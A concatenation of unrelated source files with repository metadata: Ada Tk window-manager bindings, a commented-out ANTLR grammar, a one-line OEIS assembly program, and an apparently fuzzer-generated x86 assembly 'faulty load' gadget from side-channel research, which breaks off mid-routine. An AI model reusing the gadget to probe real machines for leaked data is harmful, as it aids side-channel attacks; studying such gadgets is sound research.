procedure Set_Aspect
(Window: Tk_Toplevel;
Min_Numer, Min_Denom, Max_Numer, Max_Denom: Natural) is
begin
Tcl_Eval
(Tcl_Script =>
"wm aspect " & Tk_Path_Name(Widgt => Window) &
Natural'Image(Min_Numer) & Natural'Image(Min_Denom) &
Natural'Image(Max_Numer) & Natural'Image(Max_Denom),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Aspect;
function Get_Aspect(Window: Tk_Toplevel) return Aspect_Data is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
Result: constant Array_List :=
Split_List
(List =>
Tcl_Eval
(Tcl_Script => "wm aspect " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
begin
if Result = Empty_Array_List then
return Empty_Aspect_Data;
end if;
return Result_Value: Aspect_Data := Empty_Aspect_Data do
Result_Value.Min_Numer :=
Natural'Value(To_Ada_String(Source => Result(1)));
Result_Value.Min_Denom :=
Natural'Value(To_Ada_String(Source => Result(2)));
Result_Value.Max_Numer :=
Natural'Value(To_Ada_String(Source => Result(3)));
Result_Value.Max_Denom :=
Natural'Value(To_Ada_String(Source => Result(4)));
end return;
end Get_Aspect;
function Get_Attributes(Window: Tk_Widget) return Window_Attributes_Data is
use Tcl.Variables;
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
Result: constant Array_List :=
Split_List
(List =>
Tcl_Eval
(Tcl_Script => "wm attributes " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
Index: Positive := 1;
Window_Manager: constant Window_Manager_Types :=
(if
Tcl_Get_Var2
(Var_Name => "tcl_platform", Index_Name => "os",
Interpreter => Interpreter) =
"Windows"
then WINDOWS
elsif
Tcl_Get_Var2
(Var_Name => "tcl_platform", Index_Name => "os",
Interpreter => Interpreter) =
"Darwin"
then MACOSX
else X_11);
Window_Attributes: Window_Attributes_Data (Wm_Type => Window_Manager) :=
Empty_Window_Attributes;
function Get_Boolean(Array_Index: Positive) return Extended_Boolean is
begin
if To_Ada_String(Source => Result(Array_Index + 1)) = "1" then
return TRUE;
end if;
return FALSE;
end Get_Boolean;
begin
Read_Attributes_Loop :
while Index < Result'Last loop
if Result(Index) = "-alpha" then
Window_Attributes.Alpha :=
Alpha_Type'Value(To_Ada_String(Source => Result(Index + 1)));
elsif Result(Index) = "-fullscreen" then
Window_Attributes.Full_Screen := Get_Boolean(Array_Index => Index);
elsif Result(Index) = "-topmost" then
Window_Attributes.Topmost := Get_Boolean(Array_Index => Index);
elsif Result(Index) = "-type" and Window_Manager = X_11 then
if To_Ada_String(Source => Result(Index + 1)) = "" then
Window_Attributes.Window_Type := NONE;
else
Window_Attributes.Window_Type :=
Window_Types'Value
(To_Ada_String(Source => Result(Index + 1)));
end if;
elsif Result(Index) = "-zoomed" and Window_Manager = X_11 then
Window_Attributes.Zoomed := Get_Boolean(Array_Index => Index);
elsif Result(Index) = "-disabled" and Window_Manager = WINDOWS then
Window_Attributes.Disabled := Get_Boolean(Array_Index => Index);
elsif Result(Index) = "-toolwindow" and Window_Manager = WINDOWS then
Window_Attributes.Tool_Window := Get_Boolean(Array_Index => Index);
elsif Result(Index) = "-transparentcolor" and
Window_Manager = WINDOWS then
Window_Attributes.Transparent_Color := Result(Index + 1);
elsif Result(Index) = "-modified" and Window_Manager = MACOSX then
Window_Attributes.Modified := Get_Boolean(Array_Index => Index);
elsif Result(Index) = "-notify" and Window_Manager = MACOSX then
Window_Attributes.Notify := Get_Boolean(Array_Index => Index);
elsif Result(Index) = "-titlepath" and Window_Manager = MACOSX then
Window_Attributes.Title_Path := Result(Index + 1);
elsif Result(Index) = "-transparent" and Window_Manager = MACOSX then
Window_Attributes.Transparent := Get_Boolean(Array_Index => Index);
end if;
Index := Index + 2;
end loop Read_Attributes_Loop;
return Window_Attributes;
end Get_Attributes;
procedure Set_Attributes
(Window: Tk_Widget; Attributes_Data: Window_Attributes_Data) is
Values_List: Unbounded_String := Null_Unbounded_String;
procedure Set_Boolean
(Name: String; Value: Extended_Boolean;
List: in out Unbounded_String) is
begin
case Value is
when TRUE =>
Append(Source => List, New_Item => "-" & Name & " 1 ");
when FALSE =>
Append(Source => List, New_Item => "-" & Name & " 0 ");
when NONE =>
null;
end case;
end Set_Boolean;
begin
if Attributes_Data.Alpha >= 0.0 then
Append
(Source => Values_List,
New_Item =>
"-alpha" & Alpha_Type'Image(Attributes_Data.Alpha) & " ");
end if;
Set_Boolean
(Name => "fullscreen", Value => Attributes_Data.Full_Screen,
List => Values_List);
Set_Boolean
(Name => "topmost", Value => Attributes_Data.Topmost,
List => Values_List);
case Attributes_Data.Wm_Type is
when X_11 =>
if Attributes_Data.Window_Type /= NONE then
Append
(Source => Values_List,
New_Item =>
"-type " &
To_Lower
(Item =>
Window_Types'Image(Attributes_Data.Window_Type)) &
" ");
end if;
Set_Boolean
(Name => "zoomed", Value => Attributes_Data.Zoomed,
List => Values_List);
when WINDOWS =>
Set_Boolean
(Name => "disabled", Value => Attributes_Data.Disabled,
List => Values_List);
Set_Boolean
(Name => "toolwindow", Value => Attributes_Data.Tool_Window,
List => Values_List);
if To_Ada_String(Source => Attributes_Data.Transparent_Color)'
Length >
0 then
Append
(Source => Values_List,
New_Item =>
"-transparentcolor " &
To_Ada_String
(Source => Attributes_Data.Transparent_Color) &
" ");
end if;
when MACOSX =>
Set_Boolean
(Name => "modified", Value => Attributes_Data.Modified,
List => Values_List);
Set_Boolean
(Name => "notify", Value => Attributes_Data.Notify,
List => Values_List);
if To_Ada_String(Source => Attributes_Data.Title_Path)'Length >
0 then
Append
(Source => Values_List,
New_Item =>
"-titlepath " &
To_Ada_String(Source => Attributes_Data.Title_Path) & " ");
end if;
Set_Boolean
(Name => "transparent", Value => Attributes_Data.Transparent,
List => Values_List);
end case;
Tcl_Eval
(Tcl_Script =>
"wm attributes " & Tk_Path_Name(Widgt => Window) & " " &
To_String(Source => Values_List),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Attributes;
function Get_Attribute
(Window: Tk_Widget; Name: Window_Atrributes_Type)
return Extended_Boolean is
begin
if Tcl_Eval
(Tcl_Script =>
"wm attributes " & Tk_Path_Name(Widgt => Window) & " -" &
To_Lower(Window_Atrributes_Type'Image(Name)),
Interpreter => Tk_Interp(Widgt => Window))
.Result =
"1" then
return TRUE;
end if;
return FALSE;
end Get_Attribute;
function Get_Attribute(Window: Tk_Widget) return Alpha_Type is
Result: constant String :=
Tcl_Eval
(Tcl_Script =>
"wm attributes " & Tk_Path_Name(Widgt => Window) & " -alpha",
Interpreter => Tk_Interp(Widgt => Window))
.Result;
begin
if Result'Length = 0 then
return 1.0;
end if;
return Alpha_Type'Value(Result);
end Get_Attribute;
function Get_Attribute(Window: Tk_Widget) return Window_Types is
Result: constant String :=
Tcl_Eval
(Tcl_Script =>
"wm attributes " & Tk_Path_Name(Widgt => Window) & " -type",
Interpreter => Tk_Interp(Widgt => Window))
.Result;
begin
if Result'Length = 0 then
return NONE;
end if;
return Window_Types'Value(Result);
end Get_Attribute;
procedure Set_Client(Window: Tk_Widget; Name: Tcl_String) is
begin
Tcl_Eval
(Tcl_Script =>
"wm client " & Tk_Path_Name(Widgt => Window) & " " &
To_String(Source => Name),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Client;
function Get_Color_Map_Windows(Window: Tk_Widget) return Array_List is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
begin
return
Split_List
(List =>
Tcl_Eval
(Tcl_Script =>
"wm colormapwindows " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
end Get_Color_Map_Windows;
procedure Set_Color_Map_Windows
(Window: Tk_Widget; Widgets: Widgets_Array) is
Windows_List: Unbounded_String := Null_Unbounded_String;
begin
Convert_List_To_String_Loop :
for Widgt of Widgets loop
Append
(Source => Windows_List,
New_Item => " " & Tk_Path_Name(Widgt => Widgt));
end loop Convert_List_To_String_Loop;
Tcl_Eval
(Tcl_Script =>
"wm colormapwindows " & Tk_Path_Name(Widgt => Window) & " {" &
To_String(Source => Windows_List) & "}",
Interpreter => Tk_Interp(Widgt => Window));
end Set_Color_Map_Windows;
procedure Set_Command(Window: Tk_Widget; Wm_Command: Tcl_String) is
begin
Tcl_Eval
(Tcl_Script =>
"wm command " & Tk_Path_Name(Widgt => Window) & " " &
To_String(Source => Wm_Command),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Command;
procedure Deiconify(Window: Tk_Widget) is
begin
Tcl_Eval
(Tcl_Script => "wm deiconify " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window));
end Deiconify;
function Get_Focus_Model(Window: Tk_Widget) return Focus_Model_Types is
begin
if Tcl_Eval
(Tcl_Script => "wm focusmodel " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window))
.Result =
"passive" then
return PASSIVE;
end if;
return ACTIVE;
end Get_Focus_Model;
procedure Set_Focus_Model(Window: Tk_Widget; Model: Focus_Model_Types) is
begin
Tcl_Eval
(Tcl_Script =>
"wm focusmodel " & Tk_Path_Name(Widgt => Window) & " " &
To_Lower(Item => Focus_Model_Types'Image(Model)),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Focus_Model;
procedure Forget(Window: Tk_Widget) is
begin
Tcl_Eval
(Tcl_Script => "wm forget " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window));
end Forget;
function Get_Frame(Window: Tk_Widget) return Tk_Window is
Result: constant String :=
Tcl_Eval
(Tcl_Script => "wm frame " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window))
.Result;
begin
if Result'Length > 0 then
return
Tk_Window
(System'To_Address
(Integer'Value("16#" & Result(3 .. Result'Last) & "#")));
end if;
return Null_Window;
end Get_Frame;
function Get_Geometry(Window: Tk_Widget) return Window_Geometry is
Result: constant String :=
Tcl_Eval
(Tcl_Script => "wm geometry " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window))
.Result;
Start_Index, End_Index: Positive := 1;
begin
return Win_Geometry: Window_Geometry := Empty_Window_Geometry do
End_Index := Index(Source => Result, Pattern => "x");
Win_Geometry.Width := Natural'Value(Result(1 .. End_Index - 1));
Start_Index := End_Index + 1;
--## rule off ASSIGNMENTS
End_Index :=
Index(Source => Result, Pattern => "+", From => Start_Index);
Win_Geometry.Height :=
Natural'Value(Result(Start_Index .. End_Index - 1));
Start_Index := End_Index + 1;
End_Index :=
Index(Source => Result, Pattern => "+", From => Start_Index);
Win_Geometry.X := Natural'Value(Result(Start_Index .. End_Index - 1));
Start_Index := End_Index + 1;
--## rule on ASSIGNMENTS
Win_Geometry.Y := Natural'Value(Result(Start_Index .. Result'Last));
end return;
end Get_Geometry;
procedure Set_Geometry
(Window: Tk_Widget; Width, Height: Positive; X, Y: Natural) is
begin
Tcl_Eval
(Tcl_Script =>
"wm geometry " & Tk_Path_Name(Widgt => Window) & " " & "=" &
Trim(Source => Positive'Image(Width), Side => Left) & "x" &
Trim(Source => Positive'Image(Height), Side => Left) & "+" &
Trim(Source => Natural'Image(X), Side => Left) & "+" &
Trim(Source => Natural'Image(Y), Side => Left),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Geometry;
procedure Set_Geometry(Window: Tk_Widget; Width, Height: Positive) is
begin
Tcl_Eval
(Tcl_Script =>
"wm geometry " & Tk_Path_Name(Widgt => Window) & " " & "=" &
Trim(Source => Positive'Image(Width), Side => Left) & "x" &
Trim(Source => Positive'Image(Height), Side => Left),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Geometry;
procedure Set_Geometry_Position(Window: Tk_Widget; X, Y: Natural) is
begin
Tcl_Eval
(Tcl_Script =>
"wm geometry " & Tk_Path_Name(Widgt => Window) & " " & "+" &
Trim(Source => Natural'Image(X), Side => Left) & "+" &
Trim(Source => Natural'Image(Y), Side => Left),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Geometry_Position;
function Get_Grid(Window: Tk_Widget) return Window_Grid_Geometry is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
Result: constant Array_List :=
Split_List
(List =>
Tcl_Eval
(Tcl_Script => "wm grid " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
begin
if Result'Length = 0 then
return Empty_Window_Grid_Geometry;
end if;
return Win_Grid: Window_Grid_Geometry := Empty_Window_Grid_Geometry do
Win_Grid.Base_Width :=
Natural'Value(To_Ada_String(Source => Result(1)));
Win_Grid.Base_Height :=
Natural'Value(To_Ada_String(Source => Result(2)));
Win_Grid.Width_Inc :=
Natural'Value(To_Ada_String(Source => Result(3)));
Win_Grid.Height_Inc :=
Natural'Value(To_Ada_String(Source => Result(4)));
end return;
end Get_Grid;
procedure Set_Grid
(Window: Tk_Widget;
Base_Width, Base_Height, Width_Inc, Height_Inc: Positive) is
begin
Tcl_Eval
(Tcl_Script =>
"wm grid " & Tk_Path_Name(Widgt => Window) &
Positive'Image(Base_Width) & Positive'Image(Base_Height) &
Positive'Image(Width_Inc) & Positive'Image(Height_Inc),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Grid;
procedure Set_Group(Window: Tk_Widget; Path_Name: Tcl_String) is
begin
Tcl_Eval
(Tcl_Script =>
"wm group " & Tk_Path_Name(Widgt => Window) & " " &
To_Ada_String(Source => Path_Name),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Group;
procedure Set_Icon_Bitmap(Window: Tk_Widget; Bitmap: Tcl_String) is
begin
Tcl_Eval
(Tcl_Script =>
"wm iconbitmap " & Tk_Path_Name(Widgt => Window) & " " &
To_Ada_String(Source => Bitmap),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Icon_Bitmap;
procedure Iconify(Window: Tk_Widget) is
begin
Tcl_Eval
(Tcl_Script => "wm iconify " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window));
end Iconify;
procedure Set_Icon_Mask(Window: Tk_Widget; Bitmap: Tcl_String) is
begin
Tcl_Eval
(Tcl_Script =>
"wm iconmask " & Tk_Path_Name(Widgt => Window) & " " &
To_Ada_String(Source => Bitmap),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Icon_Mask;
procedure Set_Icon_Name(Window: Tk_Widget; New_Name: Tcl_String) is
begin
Tcl_Eval
(Tcl_Script =>
"wm iconname " & Tk_Path_Name(Widgt => Window) & " " &
To_Ada_String(Source => New_Name),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Icon_Name;
procedure Set_Icon_Photo
(Window: Tk_Widget; Images: Array_List; Default: Boolean := False) is
begin
Tcl_Eval
(Tcl_Script =>
"wm iconphoto " & Tk_Path_Name(Widgt => Window) & " " &
(if Default then "-default " else "") & Merge_List(List => Images),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Icon_Photo;
function Get_Icon_Position(Window: Tk_Widget) return Point_Position is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
Result: constant Array_List :=
Split_List
(List =>
Tcl_Eval
(Tcl_Script =>
"wm iconposition " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
begin
if Result'Length = 0 then
return Empty_Point_Position;
end if;
return Icon_Pos: Point_Position := Empty_Point_Position do
Icon_Pos.X :=
Extended_Natural'Value(To_Ada_String(Source => Result(1)));
Icon_Pos.Y :=
Extended_Natural'Value(To_Ada_String(Source => Result(2)));
end return;
end Get_Icon_Position;
procedure Set_Icon_Position(Window: Tk_Widget; X, Y: Natural) is
begin
Tcl_Eval
(Tcl_Script =>
"wm iconposition " & Tk_Path_Name(Widgt => Window) &
Natural'Image(X) & Natural'Image(Y),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Icon_Position;
procedure Reset_Icon_Position(Window: Tk_Widget) is
begin
Tcl_Eval
(Tcl_Script =>
"wm iconposition " & Tk_Path_Name(Widgt => Window) & " {} {}",
Interpreter => Tk_Interp(Widgt => Window));
end Reset_Icon_Position;
function Get_Icon_Window(Window: Tk_Widget) return Tk_Toplevel is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
Path_Name: constant String :=
Tcl_Eval
(Tcl_Script => "wm iconwindow " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result;
begin
if Path_Name'Length = 0 then
return Null_Widget;
end if;
return
Get_Widget
(Path_Name =>
Tcl_Eval
(Tcl_Script => "wm iconwindow " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
end Get_Icon_Window;
procedure Set_Icon_Window(Window, New_Icon_Window: Tk_Toplevel) is
begin
Tcl_Eval
(Tcl_Script =>
"wm iconwindow " & Tk_Path_Name(Widgt => Window) & " " &
Tk_Path_Name(Widgt => New_Icon_Window),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Icon_Window;
procedure Manage(Window: Tk_Widget) is
begin
Tcl_Eval
(Tcl_Script => "wm manage " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window));
end Manage;
function Get_Max_Size(Window: Tk_Widget) return Window_Size is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
Result: constant Array_List :=
Split_List
(List =>
Tcl_Eval
(Tcl_Script => "wm maxsize " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
begin
return Current_Size: Window_Size := Empty_Window_Size do
Current_Size.Width := Natural'Value(To_String(Source => Result(1)));
Current_Size.Height := Natural'Value(To_String(Source => Result(2)));
end return;
end Get_Max_Size;
procedure Set_Max_Size(Window: Tk_Widget; Width, Height: Positive) is
begin
Tcl_Eval
(Tcl_Script =>
"wm maxsize " & Tk_Path_Name(Widgt => Window) &
Positive'Image(Width) & Positive'Image(Height),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Max_Size;
function Get_Min_Size(Window: Tk_Widget) return Window_Size is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
Result: constant Array_List :=
Split_List
(List =>
Tcl_Eval
(Tcl_Script => "wm minsize " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
begin
return Current_Size: Window_Size := Empty_Window_Size do
Current_Size.Width := Natural'Value(To_String(Source => Result(1)));
Current_Size.Height := Natural'Value(To_String(Source => Result(2)));
end return;
end Get_Min_Size;
procedure Set_Min_Size(Window: Tk_Widget; Width, Height: Positive) is
begin
Tcl_Eval
(Tcl_Script =>
"wm minsize " & Tk_Path_Name(Widgt => Window) &
Positive'Image(Width) & Positive'Image(Height),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Min_Size;
procedure Set_Override_Redirect(Window: Tk_Widget; Override: Boolean) is
begin
Tcl_Eval
(Tcl_Script =>
"wm overrideredirect " & Tk_Path_Name(Widgt => Window) & " " &
(if Override then "1" else "0"),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Override_Redirect;
function Get_Position_From(Window: Tk_Widget) return Position_From_Value is
Result: constant String :=
Tcl_Eval
(Tcl_Script => "wm positionfrom " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window))
.Result;
begin
if Result'Length = 0 then
return Default_Position_From;
end if;
return Position_From_Value'Value(Result);
end Get_Position_From;
procedure Set_Position_From
(Window: Tk_Widget; Who: Position_From_Value := Default_Position_From) is
begin
Tcl_Eval
(Tcl_Script =>
"wm positionfrom " & Tk_Path_Name(Widgt => Window) & " " &
To_Lower(Item => Position_From_Value'Image(Who)),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Position_From;
function Get_Protocols(Window: Tk_Widget) return Array_List is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
begin
return
Split_List
(List =>
Tcl_Eval
(Tcl_Script => "wm protocol " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
end Get_Protocols;
procedure Set_Protocol
(Window: Tk_Widget; Name: String; New_Command: Tcl_String) is
begin
Tcl_Eval
(Tcl_Script =>
"wm protocol " & Tk_Path_Name(Widgt => Window) & " " & Name & " " &
To_String(Source => New_Command),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Protocol;
function Get_Resizable(Window: Tk_Widget) return Resizable_Data is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
Result: constant Array_List :=
Split_List
(List =>
Tcl_Eval
(Tcl_Script => "wm resizable " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
begin
return Resizable_Result: Resizable_Data := Default_Resizable_Data do
Resizable_Result.Width := (if Result(1) = "0" then False else True);
Resizable_Result.Height := (if Result(2) = "0" then False else True);
end return;
end Get_Resizable;
procedure Set_Resizable(Window: Tk_Widget; Width, Height: Boolean) is
begin
Tcl_Eval
(Tcl_Script =>
"wm resizable " & Tk_Path_Name(Widgt => Window) & " " &
(if Width then "1" else "0") & " " & (if Height then "1" else "0"),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Resizable;
function Get_Size_From(Window: Tk_Widget) return Position_From_Value is
Result: constant String :=
Tcl_Eval
(Tcl_Script => "wm sizefrom " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window))
.Result;
begin
if Result'Length = 0 then
return Default_Position_From;
end if;
return Position_From_Value'Value(Result);
end Get_Size_From;
procedure Set_Size_From
(Window: Tk_Widget; Who: Position_From_Value := Default_Position_From) is
begin
Tcl_Eval
(Tcl_Script =>
"wm sizefrom " & Tk_Path_Name(Widgt => Window) & " " &
To_Lower(Item => Position_From_Value'Image(Who)),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Size_From;
function Get_Stack_Order(Window: Tk_Widget) return Widgets_Array is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
Result: constant Array_List :=
Split_List
(List =>
Tcl_Eval
(Tcl_Script => "wm stackorder " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result,
Interpreter => Interpreter);
begin
return
Widgets: Widgets_Array (Result'Range) := (others => Null_Widget) do
Set_Widgets_Array_Loop :
for I in Result'Range loop
Widgets(I) :=
Get_Widget
(Path_Name => To_String(Source => Result(I)),
Interpreter => Interpreter);
end loop Set_Widgets_Array_Loop;
end return;
end Get_Stack_Order;
function Get_State(Window: Tk_Widget) return Window_States is
Result: constant String :=
Tcl_Eval
(Tcl_Script => "wm state " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window))
.Result;
begin
if Result'Length = 0 then
return NORMAL;
end if;
return Window_States'Value(Result);
end Get_State;
procedure Set_State
(Window: Tk_Widget; New_State: Window_States := Default_Window_State) is
begin
Tcl_Eval
(Tcl_Script =>
"wm state " & Tk_Path_Name(Widgt => Window) & " " &
To_Lower(Item => Window_States'Image(New_State)),
Interpreter => Tk_Interp(Widgt => Window));
end Set_State;
procedure Set_Title(Window: Tk_Widget; New_Title: Tcl_String) is
begin
Tcl_Eval
(Tcl_Script =>
"wm title " & Tk_Path_Name(Widgt => Window) & " " &
To_String(Source => New_Title),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Title;
function Get_Transient(Window: Tk_Widget) return Tk_Widget is
Interpreter: constant Tcl_Interpreter := Tk_Interp(Widgt => Window);
Result: constant String :=
Tcl_Eval
(Tcl_Script => "wm transient " & Tk_Path_Name(Widgt => Window),
Interpreter => Interpreter)
.Result;
begin
if Result'Length = 0 then
return Null_Widget;
end if;
return Get_Widget(Path_Name => Result, Interpreter => Interpreter);
end Get_Transient;
procedure Set_Transient(Window, Master: Tk_Widget) is
begin
Tcl_Eval
(Tcl_Script =>
"wm transient " & Tk_Path_Name(Widgt => Window) & " " &
Tk_Path_Name(Widgt => Master),
Interpreter => Tk_Interp(Widgt => Window));
end Set_Transient;
procedure Withdraw(Window: Tk_Widget) is
begin
Tcl_Eval
(Tcl_Script => "wm withdraw " & Tk_Path_Name(Widgt => Window),
Interpreter => Tk_Interp(Widgt => Window));
end Withdraw;
end Tk.Wm;
|
Antlr/test1.g4 | knoxaramav2/KCC | 0 | 1000 | <gh_stars>0
grammar test1;
/*
* Lexer Rules
*/
/*
IF : 'if' ;
THEN : 'then';
AND : 'and' ;
OR : 'or' ;
TRUE : 'true' ;
FALSE : 'false' ;
MULT : '*' ;
DIV : '/' ;
PLUS : '+' ;
MINUS : '-' ;
GT : '>' ;
GE : '>=' ;
LT : '<' ;
LE : '<=' ;
EQ : '=' ;
LPAREN : '(' ;
RPAREN : ')' ;
LBRACK : '{' ;
RBRACK : '}' ;
// DECIMAL, IDENTIFIER, COMMENTS, WS are set using regular expressions
DECIMAL : '-'?[0-9]+('.'[0-9]+)? ;
IDENTIFIER : [a-zA-Z_][a-zA-Z_0-9]* ;
SEMI : ';' ;
// COMMENT and WS are stripped from the output token stream by sending
// to a different channel 'skip'
COMMENT : '//' .+? ('\n'|EOF) -> skip ;
WS : [ \r\t\u000C\n]+ -> skip ;
//Parser Rules
rule_set : single_rule* EOF ;
single_rule : IF condition THEN conclusion SEMI | IF condition THEN body_expr;
condition : logical_expr ;
conclusion : IDENTIFIER ;
logical_expr
: logical_expr AND logical_expr # LogicalExpressionAnd
| logical_expr OR logical_expr # LogicalExpressionOr
| comparison_expr # ComparisonExpression
| LPAREN logical_expr RPAREN # LogicalExpressionInParen
| logical_entity # LogicalEntity
;
body_expr
: LBRACK body_expr RBRACK
| LBRACK . RBRACK;
comparison_expr : comparison_operand comp_operator comparison_operand
# ComparisonExpressionWithOperator
| LPAREN comparison_expr RPAREN # ComparisonExpressionParens
;
comparison_operand : arithmetic_expr
;
comp_operator : GT
| GE
| LT
| LE
| EQ
;
arithmetic_expr
: arithmetic_expr MULT arithmetic_expr # ArithmeticExpressionMult
| arithmetic_expr DIV arithmetic_expr # ArithmeticExpressionDiv
| arithmetic_expr PLUS arithmetic_expr # ArithmeticExpressionPlus
| arithmetic_expr MINUS arithmetic_expr # ArithmeticExpressionMinus
| MINUS arithmetic_expr # ArithmeticExpressionNegation
| LPAREN arithmetic_expr RPAREN # ArithmeticExpressionParens
| numeric_entity # ArithmeticExpressionNumericEntity
;
logical_entity : (TRUE | FALSE) # LogicalConst
| IDENTIFIER # LogicalVariable
;
numeric_entity : DECIMAL # NumericConst
| IDENTIFIER # NumericVariable
;*/ |
programs/oeis/153/A153814.asm | neoneye/loda | 22 | 103277 | ; A153814: a(n) = 1001*n.
; 1001,2002,3003,4004,5005,6006,7007,8008,9009,10010,11011,12012,13013,14014,15015,16016,17017,18018,19019,20020,21021,22022,23023,24024,25025,26026,27027,28028,29029,30030,31031,32032,33033,34034,35035,36036,37037,38038,39039,40040,41041,42042,43043,44044,45045,46046,47047,48048,49049,50050,51051,52052,53053,54054,55055,56056,57057,58058,59059,60060,61061,62062,63063,64064,65065,66066,67067,68068,69069,70070,71071,72072,73073,74074,75075,76076,77077,78078,79079,80080,81081,82082,83083,84084,85085,86086,87087,88088,89089,90090,91091,92092,93093,94094,95095,96096,97097,98098,99099,100100
mul $0,1001
add $0,1001
|
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_sm_/i3-7100_9_0x84_notsx.log_21829_342.asm | ljhsiun2/medusa | 9 | 241372 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1e11, %rsi
lea addresses_WT_ht+0x11f1, %rdi
nop
and %r11, %r11
mov $15, %rcx
rep movsl
nop
nop
nop
nop
nop
mfence
lea addresses_A_ht+0x2b40, %rsi
nop
nop
nop
add $4784, %rbp
and $0xffffffffffffffc0, %rsi
vmovaps (%rsi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %r12
nop
nop
nop
nop
nop
sub %r11, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_A+0x181fd, %rbx
xor $50854, %r10
mov $0x5152535455565758, %rbp
movq %rbp, %xmm6
vmovups %ymm6, (%rbx)
dec %rsi
// Store
lea addresses_WT+0x1186b, %r9
add %r13, %r13
mov $0x5152535455565758, %rbx
movq %rbx, %xmm1
movups %xmm1, (%r9)
nop
nop
cmp %r9, %r9
// REPMOV
lea addresses_PSE+0x13271, %rsi
lea addresses_D+0x13571, %rdi
nop
dec %rbx
mov $43, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $11806, %rcx
// Store
lea addresses_WT+0x19eb1, %rcx
nop
nop
add %rbx, %rbx
movb $0x51, (%rcx)
xor %r10, %r10
// Store
lea addresses_WT+0x1b771, %rbx
nop
add $1233, %rcx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm3
vmovups %ymm3, (%rbx)
nop
cmp %rcx, %rcx
// Store
lea addresses_WT+0x1def7, %rdi
clflush (%rdi)
nop
sub %r10, %r10
mov $0x5152535455565758, %rcx
movq %rcx, (%rdi)
nop
sub %rbp, %rbp
// Store
lea addresses_WC+0x13a71, %rsi
nop
inc %r10
movl $0x51525354, (%rsi)
dec %rbx
// Store
lea addresses_RW+0x71b1, %r13
nop
nop
nop
nop
sub $20017, %rsi
mov $0x5152535455565758, %rbp
movq %rbp, (%r13)
nop
nop
nop
nop
sub $58721, %rbp
// Faulty Load
lea addresses_WC+0x13a71, %rsi
nop
cmp %r10, %r10
vmovaps (%rsi), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r9
